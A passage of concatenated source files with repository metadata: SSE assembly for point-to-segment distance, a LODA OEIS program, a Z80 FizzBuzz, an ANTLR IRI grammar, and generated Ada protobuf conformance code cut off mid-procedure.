_mm_sqrt_ps(res11); // sqrt(c1), unk, sqrt(c2), unk sqrtps xmm3,xmm3 ; xmm3 = res12 movaps xmmword ptr [res12],xmm3 ; if (*(float*)&res7 <= 0) { ; if (0 > *(float*)&res7) than go to next step xorps xmm0,xmm0 comiss xmm0,dword ptr [res7] ;jnb next1 jb next1 ; return ((float*)&res12); ;mov eax, dword ptr [res12] ;movss xmm0,dword ptr [res12] movss xmm0,xmm3 jmp end_func next1: ; if (((float*)&res7)[2] <= *(float*)&res7) { movss xmm0,dword ptr [res7] comiss xmm0,dword ptr [res7_2] ;jnb next2 jb next2 ; return ((float*)&res12)[2]; ;mov eax,dword ptr [res12_2] shufps xmm0,xmm3,0E0h shufps xmm0,xmm0,0E6h jmp end_func next2: ; //coord b = c1 / c2; ; coord b = *(float*)&res7 / ((float*)&res7)[2]; divss xmm4,dword ptr [res7_2] ; xmm4 (res7) = b ;__m128 bb = _mm_set1_ps(b); shufps xmm4,xmm4,0 ; xmm4 (b) = xmm4 bb (b, b, b, b) ; //pbx = line_p0->x + b * vx; ; //pby = line_p0->y + b * vy; ; res9 = _mm_mul_ps(bb, res1); // vx * b, vy * b, unk, unk mulps xmm4,xmm7 ; xmm4 = res9 ; res10 = _mm_add_ps(*vec2, res9); // pbx, pby, unk, unk movaps xmm5,xmmword ptr [res2] ; for next step addps xmm4,xmm1 ; xmm4 = res10 ; //coord t1 = p->x - pbx; ; //coord t2 = p->y - pby; ; res11 = _mm_sub_ps(res2, res10); // t1, t2, unk, unk subps xmm5,xmm4 ; xmm5 = res11 ; res12 = _mm_mul_ps(res11, res11); // t1^2, t2^2, unk, unk mulps xmm5,xmm5 movaps xmmword ptr [res12],xmm5 ; xmm5 = res12 ; return sqrt(*((float*)&res12) + ((float*)&res12)[1]); addss xmm5,dword ptr [res12_1] sqrtss xmm5,xmm5 ; prepare for return ;cvtss2sd xmm5,xmm5 ;movaps xmmword ptr [res12],xmm5 movss xmm0,xmm5 ;movss dword ptr [res12],xmm5 ; result return ;mov eax,dword ptr [res12] end_func: ; end function ; movdqu xmmword ptr [rsp+20h],xmm0 ; lea rcx,[rbp-30h] ;; lea rdx,[__real@447a0000+74Ch (07FF62D7E8040h)] ;; call _RTC_CheckStackVars (07FF62D7D118Bh) ; movdqu xmm0,xmmword ptr [rsp+20h] ; mov rcx,qword ptr [rbp+7F8h] ; xor rcx,rbp ;; call __security_check_cookie (07FF62D7D13CAh) ; lea rsp,[rbp+808h] ; pop rdi ; pop rbp ret distance_sse_v4 endp ; -------------------------------------------------------------------------------------- ; fuctions calculate distance for multithreads (distance_sse_v3) distance_sse_v5 proc ; load parameters movaps xmm0, xmmword ptr [rcx] ; xmm0 = vec1 movaps xmm1, xmmword ptr [rdx] ; xmm1 = vec2 mov rdx,r8 ; __m128 res2 = _mm_movehl_ps(*vec1, *vec1); // px, py, px, py movaps xmm2,xmm0 movhlps xmm2,xmm0 ; xmm2 = res2 movaps xmmword ptr [rdx],xmm2 ; store rdx = res2 ; __m128 res1 = _mm_sub_ps(*vec1, *vec2); // where 1 - vx, 2 - vy, 3 - wx(t1(c1)), 4 - wy(t2(c1)) movaps xmm3,xmm0 subps xmm3,xmm1 ; xmm3 = res1 movaps xmm7,xmm3 ; store res1 => mxx7 = res1 ; __m128 res3 = _mm_movelh_ps(res1, res1); // vx, vy, vx, vy movaps xmm4,xmm3 ; store res1 movlhps xmm4,xmm4 ; xmm4 = res3 ; __m128 res4 = _mm_sub_ps(res2, *vec1); // t1(c2), t2(c2), 0(unk), 0(unk) subps xmm2,xmm0 ; xmm2 (res2) = res4 ; __m128 res5 = _mm_mul_ps(res3, res1); // vx*vx, vy*vy, wx*vx, wy*vy mulps xmm4,xmm3 ; xmm4 (res3) = res5 ; __m128 res8 = _mm_shuffle_ps(res1, res4, 78); // for sqrt: t1(c1), t2(c1), t1(c2), t2(c2) shufps xmm3,xmm2,4Eh ; xmm3 (res1) = res8 ; __m128 res6 = _mm_shuffle_ps(res5, res5, 245); // vy*vy, vy*vy, wy*wy, wy*wyxmmword ptr movaps xmm5,xmm4 shufps xmm5,xmm5,0F5h ; xmm5 = res6 ; __m128 res9 = _mm_mul_ps(res8, res8); // for sqrt: t1(c1)^2, t2(c1)^2, t1(c2)^2, t2(c2)^2 mulps xmm3,xmm3 ; xmm3 (res8) = res9 ; __m128 res7 = _mm_add_ps(res5, res6); // c1, unk, c2, unk addps xmm4,xmm5 ; xmm4 (res5) = res7 mov eax,10h imul rax,rax,1 movaps xmmword ptr [rdx[rax]],xmm4 ;movaps xmmword ptr [res7],xmm4 ; __m128 res10 = _mm_shuffle_ps(res9, res9, 245); // t2(c1)^2, t2(c1)^2, t2(c2)^2, t2(c2)^2 movaps xmm6,xmm3 shufps xmm6,xmm6,0F5h ; xmm6 = res10 ; __m128 res11 = _mm_add_ps(res9, res10); // t1 * t1 + t2 * t2 (c1), unk, t1 * t1 + t2 * t2 (c2), unk addps xmm3,xmm6 ; xmm3 = res11 ; __m128 res12 = _mm_sqrt_ps(res11); // sqrt(c1), unk, sqrt(c2), unk sqrtps xmm3,xmm3 ; xmm3 = res12 mov eax,10h imul rax,rax,2 movaps xmmword ptr [rdx[rax]],xmm3 ;movaps xmmword ptr [res12],xmm3 ; if (*(float*)&res7 <= 0) { ; if (0 > *(float*)&res7) than go to next step xorps xmm0,xmm0 mov eax,10h imul rax,rax,1 comiss xmm0,dword ptr [rdx[rax]] ;comiss xmm0,dword ptr [res7] jb next1 ; return ((float*)&res12); movss xmm0,xmm3 jmp end_func next1: ; if (((float*)&res7)[2] <= *(float*)&res7) { ;movss xmm0,dword ptr [res7] movss xmm0,dword ptr [rdx[rax]] ;comiss xmm0,dword ptr [res7_2] comiss xmm0,dword ptr [rdx[rax] + 8] ;jnb next2 jb next2 ; return ((float*)&res12)[2]; shufps xmm0,xmm3,0E0h shufps xmm0,xmm0,0E6h jmp end_func next2: ; //coord b = c1 / c2; ; coord b = *(float*)&res7 / ((float*)&res7)[2]; ;divss xmm4,dword ptr [res7_2] ; xmm4 (res7) = b divss xmm4,dword ptr [rdx[rax] + 8] ; xmm4 (res7) = b ;__m128 bb = _mm_set1_ps(b); shufps xmm4,xmm4,0 ; xmm4 (b) = xmm4 bb (b, b, b, b) ; //pbx = line_p0->x + b * vx; ; //pby = line_p0->y + b * vy; ; res9 = _mm_mul_ps(bb, res1); // vx * b, vy * b, unk, unk mulps xmm4,xmm7 ; xmm4 = res9 ; res10 = _mm_add_ps(*vec2, res9); // pbx, pby, unk, unk ;movaps xmm5,xmmword ptr [res2] ; for next step movaps xmm5,xmmword ptr [rdx] ; for next step addps xmm4,xmm1 ; xmm4 = res10 ; //coord t1 = p->x - pbx; ; //coord t2 = p->y - pby; ; res11 = _mm_sub_ps(res2, res10); // t1, t2, unk, unk subps xmm5,xmm4 ; xmm5 = res11 mov eax,10h imul rax,rax,2 ; res12 = _mm_mul_ps(res11, res11); // t1^2, t2^2, unk, unk mulps xmm5,xmm5 ;movaps xmmword ptr [res12],xmm5 ; xmm5 = res12 movaps xmmword ptr [rdx[rax]],xmm5 ; xmm5 = res12 ; return sqrt(*((float*)&res12) + ((float*)&res12)[1]); ;addss xmm5,dword ptr [res12_1] addss xmm5,dword ptr [rdx[rax] + 4] sqrtss xmm5,xmm5 movss xmm0,xmm5 end_func: ; end function ret distance_sse_v5 endp ; -------------------------------------------------------------------------------------- ; fuctions calculate distance (distance_sse_v2) distance_sse_v6 proc ; load parameters movaps xmm0, xmmword ptr [rcx] ; xmm0 (xmm2) = vec1 movaps xmm1, xmmword ptr [rdx] ; xmm1 = vec2 movaps xmm2, xmm0 ; copy for other steps xmm2 = vec1 ; __m128 res1 = _mm_sub_ps(*vec1, *vec2); // where 1 - vx, 2 - vy, 3 - wx, 4 - wy subps xmm0, xmm1 ; xmm0 = res1 ; __m128 tt1 = _mm_movehl_ps(res1, res1); // wx, wy, wx, wy movaps xmm3, xmm0 movhlps xmm3, xmm3 ; xmm3 = tt1 ; __m128 res2 = _mm_mul_ps(res1, tt1); // c1.1, c1.2, ret_c1 t1*t1, ret_c1 t2*t2 mulps xmm3, xmm0 ; xmm3 = res2 ; __m128 res3 = _mm_shuffle_ps(res2, res2, 177); // c1.2, c1.1, ret_c1 t2*t2, ret_c1 t1*t1 movaps xmm4, xmm3 shufps xmm4, xmm4, 0B1h ; xmm4 = res3 ;__m128 res4 = _mm_add_ps(res2, res3); // c1, c1, for sqrt, for sqrt addps xmm4, xmm3 ; free xmm3, xmm4 = res4 ; if ((*((float*)&res4)) <= 0) { xorps xmm3, xmm3 ; xmm3 = 0 comiss xmm3, xmm4 jb next1 ; return sqrt(((float*)&res4)[3]); shufps xmm4, xmm4, 0E7h sqrtss xmm0, xmm4 ; movaps xmm0, xmm4 jmp end_func next1: ; __m128 res5 = _mm_mul_ps(res1, res1); // vx^2, vy^2, unk, unk movaps xmm3, xmm0 mulps xmm3, xmm3 ; xmm3 = res5 ; __m128 res51 = _mm_shuffle_ps(res5, res5, 225); // vy^2, vx^2, unk, unk movaps xmm5, xmm3 ; xmm5 = res5 shufps xmm3, xmm3, 0E1h ; xmm3 = res51 ; __m128 res52 = _mm_add_ss(res5, res51); // c2, unk, unk, unk addss xmm3, xmm5 ; free xmm5; xmm3 = res52 ; __m128 res6 = _mm_shuffle_ps(*vec1, *vec1, 78); // p.x, p.y, p1.x, p1.y shufps xmm2, xmm2, 4Eh ; xmm2 = res6 ; if (*((float*)&res52) <= *((float*)&res4)) { comiss xmm4, xmm3 jb next2 ; __m128 res7 = _mm_sub_ps(res6, res1); // t1, t2, unk, unk subps xmm2, xmm0 ; xmm2 = res7 ; __m128 res8 = _mm_mul_ps(res7, res7); mulps xmm2, xmm2 ; return sqrt(*((float*)&res8) + ((float*)&res8)[1]); movaps xmm0, xmm2 shufps xmm2, xmm2, 0E1h addss xmm0, xmm2 sqrtss xmm0, xmm0 jmp end_func next2: ; coord b = *((float*)&res4) / *((float*)&res52); divss xmm4, xmm3 ; xmm4 = b ; __m128 bb = _mm_set1_ps(b); shufps xmm4, xmm4, 0 ; xmm4 = bb ; __m128 res9 = _mm_mul_ps(bb, res1); // vx * b, vy * b, unk, unk mulps xmm0, xmm4 ; xmm0 = res9 ; __m128 res10 = _mm_add_ps(*vec2, res9); // pbx, pby, unk, unk addps xmm0, xmm1 ; xmm0 = res10 ; __m128 res11 = _mm_sub_ps(res6, res10); // t1, t2, unk, unk subps xmm2, xmm0 ; xmm2 = res11 ; __m128 res12 = _mm_mul_ps(res11, res11); // t1^2, t2^2, unk, unk mulps xmm2, xmm2 ; xmm2 = res12 ; return sqrt(*((float*)&res12) + ((float*)&res12)[1]); movaps xmm0, xmm2 ; xmm0 = res12 shufps xmm2, xmm2, 0E1h addss xmm0, xmm2 sqrtss xmm0, xmm0 end_func: ; end function ret distance_sse_v6 endp end
oeis/089/A089303.asm
neoneye/loda-programs
11
8657
; A089303: a(n) = floor( (10^n - 1) / (9*n) ). ; Submitted by <NAME> ; 1,5,37,277,2222,18518,158730,1388888,12345679,111111111,1010101010,9259259259,85470085470,793650793650,7407407407407,69444444444444,653594771241830,6172839506172839,58479532163742690,555555555555555555,5291005291005291005,50505050505050505050,483091787439613526570,4629629629629629629629,44444444444444444444444,427350427350427350427350,4115226337448559670781893,39682539682539682539682539,383141762452107279693486590,3703703703703703703703703703,35842293906810035842293906810 add $0,1 mov $2,$0 seq $0,2275 ; Repunits: (10^n - 1)/9. Often denoted by R_n. div $0,$2
src/asm/fizzbuzzZ80.asm
Sausty/UltimateFizzbuzzDatabase
1
162848
<filename>src/asm/fizzbuzzZ80.asm org &4000 ; put code at memory address 0x4000 wr_char equ &bb5a ; write ASCII character in register A to screen cursor equ &bb78 ; get cursor position push bc push de push hl ld b,100 ; loop from 100 to 1 loop: ; check for Fizz condition ld a,(count3) dec a jr nz,next3 push bc ld b,4 ld de,fizz printfizz: ld a,(de) call wr_char inc de djnz printfizz pop bc ld a,3 next3: ld (count3),a ; check for Buzz condition ld a,(count5) dec a jr nz,next5 push bc ld b,4 ld de,buzz printbuzz: ld a,(de) call wr_char inc de djnz printbuzz pop bc ld a,5 next5: ld (count5),a ; test if cursor is still in first column ; (i.e., no Fizz or Buzz has been printed) call cursor ld a,h dec a jr nz,skipnum ; print number push bc ld b,3 ld de,count loop2: ld a,(de) call wr_char inc de djnz loop2 pop bc skipnum: ; print carriage return/line feed ld a,13 call wr_char ld a,10 call wr_char ; increment rightmost digit ld hl,count+2 inc (hl) ld a,(hl) ; check if value is 10 (ASCII 58) ; if so, set to 48 (ASCII 0) and increase 10's digit cp 58 jr nz,noinc ld a,48 ld (count+2),a ld (hl),a dec hl inc (hl) ld a,(hl) ; check second-to-right digit, if it is 10 (0), carry over to 100's cp 58 jr nz,noinc ld a,48 ld (count+1),a ld (hl),a dec hl inc (hl) noinc: djnz loop pop hl pop de pop bc ; return to BASIC ret count: db "001" count3: db 3 count5: db 5 fizz: db "Fizz" buzz: db "Buzz"
iri/IRI.g4
augustand/grammars-v4
0
2166
<reponame>augustand/grammars-v4 /* * The MIT License (MIT) * * Copyright (c) 2013-2014 by <NAME> * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Project : An IRI ANTLR 4 grammar and parser. * Developed by : <NAME>, <EMAIL> * Also see : https://github.com/bkiers/iri-parser */ // // An IRI grammar based on: http://www.ietf.org/rfc/rfc3987.txt // // The inline comments starting with "///" in this grammar are direct // copy-pastes from the ABNF syntax from the reference linked above. // grammar IRI; /* * Parser rules */ parse : iri EOF ; /// IRI = scheme ":" ihier-part [ "?" iquery ] [ "#" ifragment ] iri : scheme ':' ihier_part ('?' iquery)? ('#' ifragment)? ; /// ihier-part = "//" iauthority ipath-abempty/// / ipath-absolute/// / ipath-rootless/// / ipath-empty ihier_part : '//' iauthority ipath_abempty | ipath_absolute | ipath_rootless | ipath_empty ; /// IRI-reference = IRI / irelative-ref iri_reference : iri | irelative_ref ; /// absolute-IRI = scheme ":" ihier-part [ "?" iquery ] absolute_iri : scheme ':' ihier_part ('?' iquery)? ; /// irelative-ref = irelative-part [ "?" iquery ] [ "#" ifragment ] irelative_ref : irelative_part ('?' iquery)? ('#' ifragment)? ; /// irelative-part = "//" iauthority ipath-abempty/// / ipath-absolute/// / ipath-noscheme/// / ipath-empty irelative_part : '//' iauthority ipath_abempty | ipath_absolute | ipath_noscheme | ipath_empty ; /// iauthority = [ iuserinfo "@" ] ihost [ ":" port ] iauthority : (iuserinfo '@')? ihost (':' port)? ; /// iuserinfo = *( iunreserved / pct-encoded / sub-delims / ":" ) iuserinfo : (iunreserved | pct_encoded | sub_delims | ':')* ; /// ihost = IP-literal / IPv4address / ireg-name ihost : ip_literal | ip_v4_address | ireg_name ; /// ireg-name = *( iunreserved / pct-encoded / sub-delims ) ireg_name : (iunreserved | pct_encoded | sub_delims)* ; /// ipath = ipath-abempty ; begins with "/" or is empty/// / ipath-absolute ; begins with "/" but not "//"/// / ipath-noscheme ; begins with a non-colon segment/// / ipath-rootless ; begins with a segment/// / ipath-empty ; zero characters ipath : ipath_abempty | ipath_absolute | ipath_noscheme | ipath_rootless | ipath_empty ; /// ipath-abempty = *( "/" isegment ) ipath_abempty : ('/' isegment)* ; /// ipath-absolute = "/" [ isegment-nz *( "/" isegment ) ] ipath_absolute : '/' (isegment_nz ('/' isegment)*)? ; /// ipath-noscheme = isegment-nz-nc *( "/" isegment ) ipath_noscheme : isegment_nz_nc ('/' isegment)* ; /// ipath-rootless = isegment-nz *( "/" isegment ) ipath_rootless : isegment_nz ('/' isegment)* ; /// ipath-empty = 0<ipchar> ipath_empty :/* nothing */ ; /// isegment = *ipchar isegment : ipchar* ; /// isegment-nz = 1*ipchar isegment_nz : ipchar + ; /// isegment-nz-nc = 1*( iunreserved / pct-encoded / sub-delims / "@" )/// ; non-zero-length segment without any colon ":" isegment_nz_nc : (iunreserved | pct_encoded | sub_delims | '@') + ; /// ipchar = iunreserved / pct-encoded / sub-delims / ":" / "@" ipchar : iunreserved | pct_encoded | sub_delims | (':' | '@') ; /// iquery = *( ipchar / iprivate / "/" / "?" ) iquery : (ipchar | (IPRIVATE | '/' | '?'))* ; /// ifragment = *( ipchar / "/" / "?" ) ifragment : (ipchar | ('/' | '?'))* ; /// iunreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" / ucschar iunreserved : alpha | digit | ('-' | '.' | '_' | '~' | UCSCHAR) ; /// scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." ) scheme : alpha (alpha | digit | ('+' | '-' | '.'))* ; /// port = *DIGIT port : digit* ; /// IP-literal = "[" ( IPv6address / IPvFuture ) "]" ip_literal : '[' (ip_v6_address | ip_v_future) ']' ; /// IPvFuture = "v" 1*HEXDIG "." 1*( unreserved / sub-delims / ":" ) ip_v_future : V hexdig + '.' (unreserved | sub_delims | ':') + ; /// IPv6address = 6( h16 ":" ) ls32/// / "::" 5( h16 ":" ) ls32/// / [ h16 ] "::" 4( h16 ":" ) ls32/// / [ *1( h16 ":" ) h16 ] "::" 3( h16 ":" ) ls32/// / [ *2( h16 ":" ) h16 ] "::" 2( h16 ":" ) ls32/// / [ *3( h16 ":" ) h16 ] "::" h16 ":" ls32/// / [ *4( h16 ":" ) h16 ] "::" ls32/// / [ *5( h16 ":" ) h16 ] "::" h16/// / [ *6( h16 ":" ) h16 ] "::" ip_v6_address : h16 ':' h16 ':' h16 ':' h16 ':' h16 ':' h16 ':' ls32 | '::' h16 ':' h16 ':' h16 ':' h16 ':' h16 ':' ls32 | h16? '::' h16 ':' h16 ':' h16 ':' h16 ':' ls32 | ((h16 ':')? h16)? '::' h16 ':' h16 ':' h16 ':' ls32 | (((h16 ':')? h16 ':')? h16)? '::' h16 ':' h16 ':' ls32 | ((((h16 ':')? h16 ':')? h16 ':')? h16)? '::' h16 ':' ls32 | (((((h16 ':')? h16 ':')? h16 ':')? h16 ':')? h16)? '::' ls32 | ((((((h16 ':')? h16 ':')? h16 ':')? h16 ':')? h16 ':')? h16)? '::' h16 | (((((((h16 ':')? h16 ':')? h16 ':')? h16 ':')? h16 ':')? h16 ':')? h16)? '::' ; /// h16 = 1*4HEXDIG h16 : hexdig hexdig hexdig hexdig | hexdig hexdig hexdig | hexdig hexdig | hexdig ; /// ls32 = ( h16 ":" h16 ) / IPv4address ls32 : h16 ':' h16 | ip_v4_address ; /// IPv4address = dec-octet "." dec-octet "." dec-octet "." dec-octet ip_v4_address : dec_octet '.' dec_octet '.' dec_octet '.' dec_octet ; /// dec-octet = DIGIT ; 0-9/// / %x31-39 DIGIT ; 10-99/// / "1" 2DIGIT ; 100-199/// / "2" %x30-34 DIGIT ; 200-249/// / "25" %x30-35 ; 250-255 dec_octet : digit | non_zero_digit digit | D1 digit digit | D2 (D0 | D1 | D2 | D3 | D4) digit | D2 D5 (D0 | D1 | D2 | D3 | D4 | D5) ; /// pct-encoded = "%" HEXDIG HEXDIG pct_encoded : '%' hexdig hexdig ; /// unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" unreserved : alpha | digit | ('-' | '.' | '_' | '~') ; /// reserved = gen-delims / sub-delims reserved : gen_delims | sub_delims ; /// gen-delims = ":" / "/" / "?" / "#" / "[" / "]" / "@" gen_delims : ':' | '/' | '?' | '#' | '[' | ']' | '@' ; /// sub-delims = "!" / "$" / "&" / "'" / "(" / ")"/// / "*" / "+" / "," / ";" / "=" sub_delims : '!' | '$' | '&' | '\'' | '(' | ')' | '*' | '+' | ',' | ';' | '=' ; alpha : A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z ; hexdig : digit | (A | B | C | D | E | F) ; digit : D0 | non_zero_digit ; non_zero_digit : D1 | D2 | D3 | D4 | D5 | D6 | D7 | D8 | D9 ; /* * Lexer rules *//// ucschar = %xA0-D7FF / %xF900-FDCF / %xFDF0-FFEF/// / %x10000-1FFFD / %x20000-2FFFD / %x30000-3FFFD/// / %x40000-4FFFD / %x50000-5FFFD / %x60000-6FFFD/// / %x70000-7FFFD / %x80000-8FFFD / %x90000-9FFFD/// / %xA0000-AFFFD / %xB0000-BFFFD / %xC0000-CFFFD/// / %xD0000-DFFFD / %xE1000-EFFFD UCSCHAR : '\u00A0' .. '\uD7FF' | '\uF900' .. '\uFDCF' | '\uFDF0' .. '\uFFEF' | '\u10000' .. '\u1FFFD' | '\u20000' .. '\u2FFFD' | '\u30000' .. '\u3FFFD' | '\u40000' .. '\u4FFFD' | '\u50000' .. '\u5FFFD' | '\u60000' .. '\u6FFFD' | '\u70000' .. '\u7FFFD' | '\u80000' .. '\u8FFFD' | '\u90000' .. '\u9FFFD' | '\uA0000' .. '\uAFFFD' | '\uB0000' .. '\uBFFFD' | '\uC0000' .. '\uCFFFD' | '\uD0000' .. '\uDFFFD' | '\uE1000' .. '\uEFFFD' ; /// iprivate = %xE000-F8FF / %xF0000-FFFFD / %x100000-10FFFD IPRIVATE : '\uE000' .. '\uF8FF' | '\uF0000' .. '\uFFFFD' | '\u100000' .. '\u10FFFD' ; D0 : '0' ; D1 : '1' ; D2 : '2' ; D3 : '3' ; D4 : '4' ; D5 : '5' ; D6 : '6' ; D7 : '7' ; D8 : '8' ; D9 : '9' ; A : [aA] ; B : [bB] ; C : [cC] ; D : [dD] ; E : [eE] ; F : [fF] ; G : [gG] ; H : [hH] ; I : [iI] ; J : [jJ] ; K : [kK] ; L : [lL] ; M : [mM] ; N : [nN] ; O : [oO] ; P : [pP] ; Q : [qQ] ; R : [rR] ; S : [sS] ; T : [tT] ; U : [uU] ; V : [vV] ; W : [wW] ; X : [xX] ; Y : [yY] ; Z : [zZ] ; COL2 : '::' ; COL : ':' ; DOT : '.' ; PERCENT : '%' ; HYPHEN : '-' ; TILDE : '~' ; USCORE : '_' ; EXCL : '!' ; DOLLAR : '$' ; AMP : '&' ; SQUOTE : '\'' ; OPAREN : '(' ; CPAREN : ')' ; STAR : '*' ; PLUS : '+' ; COMMA : ',' ; SCOL : ';' ; EQUALS : '=' ; FSLASH2 : '//' ; FSLASH : '/' ; QMARK : '?' ; HASH : '#' ; OBRACK : '[' ; CBRACK : ']' ; AT : '@' ;
source/conformance/generated/conformance-conformance.adb
mgrojo/protobuf
12
19458
<gh_stars>10-100 with Ada.Unchecked_Deallocation; with PB_Support.IO; with PB_Support.Internal; package body Conformance.Conformance is package Jspb_Encoding_Config_IO is new PB_Support.IO.Message_IO (Conformance.Jspb_Encoding_Config, Conformance.Jspb_Encoding_Config_Vector, Conformance.Append); type Integer_Test_Category is range 0 .. 5 with Size => Conformance.Test_Category'Size; package Test_Category_IO is new PB_Support.IO.Enum_IO (Conformance.Test_Category, Integer_Test_Category, Conformance.Test_Category_Vectors); type Integer_Wire_Format is range 0 .. 4 with Size => Conformance.Wire_Format'Size; package Wire_Format_IO is new PB_Support.IO.Enum_IO (Conformance.Wire_Format, Integer_Wire_Format, Conformance.Wire_Format_Vectors); function Length (Self : Failure_Set_Vector) return Natural is begin return Self.Length; end Length; procedure Clear (Self : in out Failure_Set_Vector) is begin Self.Length := 0; end Clear; procedure Free is new Ada.Unchecked_Deallocation (Failure_Set_Array, Failure_Set_Array_Access); procedure Append (Self : in out Failure_Set_Vector; V : Failure_Set) is Init_Length : constant Positive := Positive'Max (1, 256 / Failure_Set'Size); begin if Self.Length = 0 then Self.Data := new Failure_Set_Array (1 .. Init_Length); elsif Self.Length = Self.Data'Last then Self.Data := new Failure_Set_Array' (Self.Data.all & Failure_Set_Array'(1 .. Self.Length => <>)); end if; Self.Length := Self.Length + 1; Self.Data (Self.Length) := V; end Append; overriding procedure Adjust (Self : in out Failure_Set_Vector) is begin if Self.Length > 0 then Self.Data := new Failure_Set_Array'(Self.Data (1 .. Self.Length)); end if; end Adjust; overriding procedure Finalize (Self : in out Failure_Set_Vector) is begin if Self.Data /= null then Free (Self.Data); end if; end Finalize; not overriding function Get_Failure_Set_Variable_Reference (Self : aliased in out Failure_Set_Vector; Index : Positive) return Failure_Set_Variable_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Failure_Set_Variable_Reference; not overriding function Get_Failure_Set_Constant_Reference (Self : aliased Failure_Set_Vector; Index : Positive) return Failure_Set_Constant_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Failure_Set_Constant_Reference; procedure Read_Failure_Set (Stream : access Ada.Streams.Root_Stream_Type'Class; V : out Failure_Set) is Key : aliased PB_Support.IO.Key; begin while PB_Support.IO.Read_Key (Stream, Key'Access) loop case Key.Field is when 1 => PB_Support.IO.Read_Vector (Stream, Key.Encoding, V.Failure); when others => PB_Support.IO.Unknown_Field (Stream, Key.Encoding); end case; end loop; end Read_Failure_Set; procedure Write_Failure_Set (Stream : access Ada.Streams.Root_Stream_Type'Class; V : Failure_Set) is begin if Stream.all not in PB_Support.Internal.Stream then declare WS : aliased PB_Support.Internal.Stream (Stream); begin Write_Failure_Set (WS'Access, V); return; end; end if; declare WS : PB_Support.Internal.Stream renames PB_Support.Internal.Stream (Stream.all); begin WS.Start_Message; WS.Write (1, V.Failure); if WS.End_Message then Write_Failure_Set (WS'Access, V); end if; end; end Write_Failure_Set; function Length (Self : Conformance_Request_Vector) return Natural is begin return Self.Length; end Length; procedure Clear (Self : in out Conformance_Request_Vector) is begin Self.Length := 0; end Clear; procedure Free is new Ada.Unchecked_Deallocation (Conformance_Request_Array, Conformance_Request_Array_Access); procedure Append (Self : in out Conformance_Request_Vector; V : Conformance_Request) is Init_Length : constant Positive := Positive'Max (1, 256 / Conformance_Request'Size); begin if Self.Length = 0 then Self.Data := new Conformance_Request_Array (1 .. Init_Length); elsif Self.Length = Self.Data'Last then Self.Data := new Conformance_Request_Array' (Self.Data.all & Conformance_Request_Array'(1 .. Self.Length => <>)); end if; Self.Length := Self.Length + 1; Self.Data (Self.Length) := V; end Append; overriding procedure Adjust (Self : in out Conformance_Request_Vector) is begin if Self.Length > 0 then Self.Data := new Conformance_Request_Array'(Self.Data (1 .. Self.Length)); end if; end Adjust; overriding procedure Finalize (Self : in out Conformance_Request_Vector) is begin if Self.Data /= null then Free (Self.Data); end if; end Finalize; not overriding function Get_Conformance_Request_Variable_Reference (Self : aliased in out Conformance_Request_Vector; Index : Positive) return Conformance_Request_Variable_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Conformance_Request_Variable_Reference; not overriding function Get_Conformance_Request_Constant_Reference (Self : aliased Conformance_Request_Vector; Index : Positive) return Conformance_Request_Constant_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Conformance_Request_Constant_Reference; procedure Read_Conformance_Request (Stream : access Ada.Streams.Root_Stream_Type'Class; V : out Conformance_Request) is Key : aliased PB_Support.IO.Key; begin while PB_Support.IO.Read_Key (Stream, Key'Access) loop case Key.Field is when 1 => if V.Variant.Payload /= Protobuf_Payload_Kind then V.Variant := (Protobuf_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Protobuf_Payload); when 2 => if V.Variant.Payload /= Json_Payload_Kind then V.Variant := (Json_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Json_Payload); when 7 => if V.Variant.Payload /= Jspb_Payload_Kind then V.Variant := (Jspb_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Jspb_Payload); when 8 => if V.Variant.Payload /= Text_Payload_Kind then V.Variant := (Text_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Text_Payload); when 3 => Wire_Format_IO.Read (Stream, Key.Encoding, V.Requested_Output_Format); when 4 => PB_Support.IO.Read (Stream, Key.Encoding, V.Message_Type); when 5 => Test_Category_IO.Read (Stream, Key.Encoding, V.Test_Category); when 6 => if not V.Jspb_Encoding_Options.Is_Set then V.Jspb_Encoding_Options := (True, others => <>); end if; Jspb_Encoding_Config_IO.Read (Stream, Key.Encoding, V.Jspb_Encoding_Options.Value); when 9 => PB_Support.IO.Read (Stream, Key.Encoding, V.Print_Unknown_Fields); when others => PB_Support.IO.Unknown_Field (Stream, Key.Encoding); end case; end loop; end Read_Conformance_Request; procedure Write_Conformance_Request (Stream : access Ada.Streams.Root_Stream_Type'Class; V : Conformance_Request) is begin if Stream.all not in PB_Support.Internal.Stream then declare WS : aliased PB_Support.Internal.Stream (Stream); begin Write_Conformance_Request (WS'Access, V); return; end; end if; declare WS : PB_Support.Internal.Stream renames PB_Support.Internal.Stream (Stream.all); begin WS.Start_Message; Wire_Format_IO.Write_Option (WS, 3, V.Requested_Output_Format, Conformance.UNSPECIFIED); WS.Write_Option (4, V.Message_Type); Test_Category_IO.Write_Option (WS, 5, V.Test_Category, Conformance.UNSPECIFIED_TEST); if V.Jspb_Encoding_Options.Is_Set then WS.Write_Key ((6, 